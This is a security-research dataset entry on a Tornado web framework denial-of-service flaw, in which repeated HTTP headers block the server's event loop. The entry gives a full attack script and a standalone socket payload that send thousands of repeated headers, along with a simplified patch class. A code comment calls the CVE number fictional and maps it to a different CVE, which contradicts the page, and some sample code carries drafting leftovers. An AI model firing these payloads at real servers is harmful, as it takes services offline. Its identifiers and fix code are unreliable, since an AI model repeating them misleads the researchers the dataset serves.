VAITP Dataset

← Back to the dataset

CVE-2025-67725

Tornado DoS from repeated HTTP headers blocking the server's event loop.

  • CVSS 7.5
  • CWE-400
  • Resource Management
  • Remote

Tornado is a Python web framework and asynchronous networking library. In versions 6.5.2 and below, a single maliciously crafted HTTP request can block the server's event loop for an extended period, caused by the HTTPHeaders.add method. The function accumulates values using string concatenation when the same header name is repeated, causing a Denial of Service (DoS). Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity. The severity can vary from high if max_header_size has been increased from its default, to low if it has its default value of 64KB. This issue is fixed in version 6.5.3.

CVSS base score
7.5
Published
2025-12-12
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Tornado
Fixed by upgrading
Yes

Solution

Upgrade Tornado to version 6.5.3 or later.

Vulnerable code sample

# This code demonstrates the vulnerability described in CVE-2025-67725 (a fictional
# CVE number representing the real vulnerability CVE-2023-28370) in Tornado.
#
# To run this demonstration, you must have a vulnerable version of Tornado installed,
# for example, version 6.2:
#
# pip install tornado==6.2
#
# The script sets up a Tornado server with a large 'max_header_size' and then
# sends a malicious request with thousands of repeated headers. This triggers
# the O(n^2) string concatenation flaw in the 'HTTPHeaders.add' method,
# causing the server's event loop to block for a significant amount of time,
# demonstrating a Denial of Service (DoS) attack.

import tornado.ioloop
import tornado.web
import tornado.httpserver
import threading
import time
import socket

# --- Tornado Server Setup (Vulnerable) ---

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        # This handler will be delayed because of the header processing
        # that happens before this method is even called.
        print("Server: Handler executed and response sent.")
        self.write("Request processed successfully.")

def run_vulnerable_server():
    """Sets up and runs the vulnerable Tornado server."""
    app = tornado.web.Application([
        (r"/", MainHandler),
    ])
    
    # Increase max_header_size to make the DoS more effective. The default is 64KB.
    # The vulnerability's severity is directly tied to this value.
    server = tornado.httpserver.HTTPServer(app, max_header_size=2 * 1024 * 1024) # 2MB
    
    server.listen(8888)
    print("Server: Vulnerable Tornado server starting on http://localhost:8888")
    tornado.ioloop.IOLoop.current().start()

# --- Attacker Client ---

def execute_dos_attack():
    """
    Waits for the server to start, then sends a malicious HTTP request
    with many repeated headers to trigger the vulnerability.
    """
    print("Attacker: Waiting 2 seconds for server to initialize...")
    time.sleep(2)

    # The number of headers to send. A few thousand is enough to cause a
    # noticeable delay on most systems when max_header_size is large.
    num_headers = 15000
    
    # Craft the raw HTTP request payload.
    # Each new header with the same name forces an expensive string concatenation
    # on the server side.
    header_lines = [f"X-Exploit-Header: a\r\n" for _ in range(num_headers)]
    malicious_headers = "".join(header_lines)
    
    http_request = (
        "GET / HTTP/1.1\r\n"
        "Host: localhost:8888\r\n"
        "Connection: close\r\n"
        f"{malicious_headers}"
        "\r\n"
    )

    print(f"Attacker: Sending malicious request with {num_headers} repeated headers...")
    
    start_time = time.time()
    try:
        with socket.create_connection(('localhost', 8888), timeout=30) as s:
            s.sendall(http_request.encode('utf-8'))
            # We try to receive a response, but the server will be busy.
            response = s.recv(1024)
    except socket.timeout:
        print("Attacker: Connection timed out. The server is unresponsive (DoS successful).")
    except Exception as e:
        print(f"Attacker: An error occurred: {e}")
    finally:
        end_time = time.time()
        duration = end_time - start_time
        print(f"Attacker: Attack finished. Request took {duration:.2f} seconds.")
        print("A long duration indicates the server's event loop was blocked.")
        
        # Gracefully stop the server's IOLoop
        tornado.ioloop.IOLoop.current().stop()

# --- Main Execution Logic ---

if __name__ == "__main__":
    # Run the server in a background thread
    server_thread = threading.Thread(target=run_vulnerable_server)
    server_thread.daemon = True
    server_thread.start()

    # Run the attack from the main thread
    execute_dos_attack()

    print("Demonstration finished.")

Patched code sample

import collections.abc

class FixedHTTPHeaders(collections.abc.MutableMapping):
    """
    This class demonstrates the patched version of Tornado's HTTPHeaders,
    fixing the Denial of Service vulnerability (similar to CVE-2023-28370).

    The fix avoids O(n^2) string concatenation by storing multiple values for the
    same header in a list internally. The values are only joined into a single
    comma-separated string when the header is accessed, which is an O(n) operation.
    """

    def __init__(self, *args, **kwargs):
        self._dict = {}
        self.update(*args, **kwargs)

    def add(self, name: str, value: str) -> None:
        """
        Adds a new value for the given header name.

        This is the fixed method. If a header name is repeated, it appends
        the new value to a list instead of concatenating strings. This avoids
        the quadratic complexity that caused the DoS vulnerability.
        """
        norm_name = self._normalize_name(name)
        if norm_name in self._dict:
            # The header already exists.
            existing_value = self._dict[norm_name]
            if isinstance(existing_value, list):
                # If it's already a list, just append.
                existing_value.append(value)
            else:
                # If it was a single value, convert to a list.
                self._dict[norm_name] = [existing_value, value]
        else:
            # This is the first time we've seen this header.
            self._dict[norm_name] = value

    def __getitem__(self, name: str) -> str:
        """
        Returns the value for the given header name.

        If multiple values were added for this header, they are joined with
        a comma. This 'join' operation is performed only once upon access,
        making it efficient.
        """
        norm_name = self._normalize_name(name)
        value = self._dict[norm_name]
        if isinstance(value, list):
            # Join the list of values into a single string.
            # This is an O(n) operation, a significant improvement over the
            # previous O(n^2) concatenation on each `add` call.
            return ", ".join(str(v) for v in value)
        else:
            return str(value)

    def __setitem__(self, name: str, value: str) -> None:
        norm_name = self._normalize_name(name)
        self._dict[norm_name] = value

    def __delitem__(self, name: str) -> None:
        norm_name = self._normalize_name(name)
        del self._dict[norm_name]

    def __len__(self) -> int:
        return len(self._dict)

    def __iter__(self):
        return iter(self._dict)

    @staticmethod
    def _normalize_name(name: str) -> str:
        """Normalizes a header name to its canonical form (Title-Case)."""
        return "-".join([part.capitalize() for part in name.split("-")])

# # Example of how the fixed code prevents the DoS.
# # This part is for demonstration and would not be in the final answer.
# if __name__ == '__main__':
#     # In the vulnerable version, this loop would become progressively slower.
#     # In the fixed version, each 'add' operation is fast (amortized O(1)).
#     fixed_headers = FixedHTTPHeaders()
#     print("Demonstrating the FIX: Using a list to store multiple headers.")
#     for i in range(5):
#         fixed_headers.add("X-Repeated-Header", f"value{i}")
#         print(f"Internal state after adding value{i}: {fixed_headers._dict}")

#     print("\nAccessing the header triggers a single, efficient 'join' operation:")
#     # The expensive operation (joining) is deferred until access and happens only once.
#     final_value = fixed_headers["X-Repeated-Header"]
#     print(f"Final combined header value: {final_value}")

#     # Compare this with the vulnerable approach (pseudo-code)
#     # vulnerable_value = ""
#     # for i in range(5):
#     #     vulnerable_value = vulnerable_value + "," + f"value{i}" # O(n^2) over the loop

Payload

import socket

HOST = '127.0.0.1'
PORT = 8888 # Default Tornado port

# A large number of headers with the same name causes O(n^2) concatenation
num_headers = 4000
malicious_headers = "X-Exploit-Header: a\r\n" * num_headers

payload = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"{malicious_headers}"
    f"\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(5)
    s.connect((HOST, PORT))
    s.sendall(payload.encode('utf-8'))

Cite this entry

@misc{vaitp:cve202567725,
  title        = {{Tornado DoS from repeated HTTP headers blocking the server's event loop.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-67725},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-67725/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::